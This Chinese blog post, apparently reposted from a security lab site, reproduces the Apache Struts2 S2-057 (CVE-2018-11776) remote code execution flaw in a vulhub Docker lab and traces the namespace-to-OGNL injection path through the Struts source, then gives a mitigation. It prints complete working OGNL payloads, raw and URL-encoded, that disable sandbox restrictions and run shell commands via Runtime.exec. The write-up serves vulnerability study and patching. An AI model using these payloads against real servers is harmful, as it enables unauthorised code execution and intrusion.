CVE-2018-11776 | Struts2-057 | 远程代码执行漏洞

CVE-2018-11776 | Struts2-057 | 远程代码执行漏洞

影响版本

Apache Struts 2.3–Struts 2.3.34

Apache Struts 2.5–Struts 2.5.16

POC工具:

https://github.com/ym2011/POC-EXP/tree/master/Struts2/S2-057

环境搭建

vulhub下载地址:

https://github.com/vulhub/vulhub

git clone https://github.com/vulhub/vulhub
cd vulhub/struts2/s2-057/
docker-cpmpose up -d 
docker run --name s2-057 -p 8080:8080 vulhub/struts2:2.3.34-showcase

注意命令docker-cpmpose运行结束的时候会自动生成docker, 需要提前检查8080端口是否被进程占用

image-20220408101302877

环境搭建成功

image-20220408093752581

漏洞复现

payload注意要URL编码未编码的话可能会导致服务出错

image-20220408094520446

image-20220408095435251

使用注入OGNL表达式执行命令的payload:

image-20220408095159849

漏洞利用分析

Struts2的工作原理图

Struts2request请求流程图

触发漏洞的关键点就在于可以修改struts2的配置文件,使得namespace变得可控,进而形成OGNL注入,执行任意代码.

根据漏洞发现者的描述,我们可以有以下三个利用点(我们的示例使用的是redirect Action):

(1)action chaining;

(2)redirect Action;

(3)postback result.

远程代码执行漏洞原因:

1.定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace可能会导致远程代码执行漏洞的发生。

2.url标签未设置value和action值且上层动作未设置或用通配符namespace时可能会导致远程代码执行。

alwaysSelectFul1Namespace = true时action元素没有设置namespace属性,这时如果使用了通配符命名空间则namespace将由用户从uri传递,并解析为OGNL表达式,最终导致远程代码执行漏洞。

三种途径,分别利用Struts2的三种不同的result方式(可在Struts2源码的/src/core/src/main/resources目录下的struts-default.xml:192配置文件中查看详细result type);

result type

但是正真的突破点在这三个result跳转前

输入URL后会有一个解析过程,而在这个解析过程中,最重要突破点的就是类DefaultActionMapper调用parseNameAndNamespace()方法解析namespace和name.

跟进parseNameAndNamespace()方法,对传入uri中的namspace和name进行解析,如果参数alwaysSelectFullNamespace为true,则允许采用完整命名空间,命名空间必须进行精确匹配,也就是将namespace不做改变的解析到mapping对象中,并将该namespace作模板以供去精确匹配对应的action.

经过parseNameAndNamespace()方法解析,解析完成的namspace和name被存储在mapping对象中返回到doFilter()方法中调用execute.executeAction()方法去执行action.

execute.executeAction()方法则是通过调用serviceAction()方法执行,在serviceAction()方法中,先是将requestMap和session等封装到一个完整的map中,在对其进行处理.下面先是从配置文件中匹配result的type,如果能匹配上直接转到result中.

Struts2通过调用实现类DefaultActionInvocation中的executeResult()方法匹配配置文件中的result type来跳转到result对应的execute()方法中去result解析,这里我们配置的是redirectAciotn这个result跳转,那么就会转到ServletActionRedirectResult.execute()方法中进行重定位result的解析.

redirectAciotn对应的处理类的execute()方法在Struts2源码的com/opensymphony/xwork2/DefaultActionInvocation.java:368

redirectAction对应的execute方法

execute()方法调用了conditionalParse()来解析location,这就是造成OGNL注入的地方,我们跟进看看具体的解析过程:

https://images-1306872001.cos.ap-nanjing.myqcloud.com/img/6.jpg

conditionalParse()方法中,调用TextParseUtil.translateVariables()方法来处理location,而在TextParseUtil.translateVariables()方法中又调用OgnlTextParser.evaluate()来处理location,跟进OgnlTextParser.evaluate()方法:

解析OGNL表达式1

evaluate()方法首先是检查namespace中是否包含"${"或"%{"字符串,创建var变量;

经过检查,下面就是截取namespace保留中间的"1+1"并赋值给var,然后再向下就会调用evaluator.evaluate(var)执行1+1并返回结果2赋值给o.

这是一个简单的OGNL表达式的解析过程,恶意访问者还可以注入一些而已的OGNL表达式,来达到开启新进程(如弹出计算器),或者可以下载并执行恶意文件,这里由于能力有限,就不给出具体PoC或者exp.

Payload:

//注:payload需要使用url编码

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).
(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))
}

/struts2-showcase/$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
${
#_memberAccess ["allowstaticMethodAccess"]=true,
#a=@java.lang.Runtime@getRunt ime().exec('calc').getInputstream(),
#b=new java.io.InputstreamReader(#a),
#c=new java.io.BufferedReader(#b),
#d=new char[51020],
#c.read(#d),
#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#jas502n. println(#d),
#jas502n. close())
}

%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain1.action

修复建议

临时解决方案:上层动作配置中没有设置或使用通配符namespace时,验证所有XML配置中的namespace,同时在JSP中验证所有url标签的value和action。

转载来源:

https://www.ichunqiu.com/experiment/detail?id=63928&source=1&otype=0

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇